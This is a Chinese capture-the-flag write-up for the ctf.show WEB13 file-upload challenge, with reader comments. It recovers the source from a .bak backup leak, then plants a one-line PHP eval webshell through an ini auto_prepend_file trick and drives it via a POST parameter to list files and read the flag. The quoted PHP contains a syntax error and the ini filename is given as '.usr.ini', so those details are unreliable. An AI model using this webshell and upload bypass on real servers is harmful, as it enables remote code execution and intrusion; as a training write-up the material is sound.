CTF show WEB13

admin 2022年1月5日22:51:47评论100 views字数 1440阅读4分48秒阅读模式

>

>

CTF show WEB13

_yu_

题目地址:http://ctf.show

进入题目是个文件上传的题目,尝试了一番文件上传漏洞利用的方法后,没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法,在输入upload.php.bak时成功下载下来源码
.bak文件是备份文件。
这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak结尾的网页(欢迎回复中补充)
在web题没有头绪的时候可以尝试可能会有奇效。
源码如下:

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

我们发现了上传文件的要求,文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的,既然小于等于24可以这样写<?php eval($_POST['a']);正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.我们先将一句话保存为a.txt。
2.上传a.txt
3上传.usr.ini文件。
对于php中的.usr.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.usr.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容、
4.菜刀连接
菜刀连接上之后我们发现没有对文件操作的权限,所以我们直接在网页上查找flag。
upload.php/?a=print_r(glob("*"));
CTF show WEB13
接着输入 upload.php/?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php ");
在这里插入图片描述

如有错误或者更好的方法欢迎在留言中提出。


fgfxf

复现失败


fgfxf

问题解决:
1:每隔300s扫描一次,所以弄完等。
2:出不来结果 多次刷新尝试。。。。burp多次发包


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:51:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF show WEB13http://cn-sec.com/archives/719392.html

发表评论

匿名网友 填写信息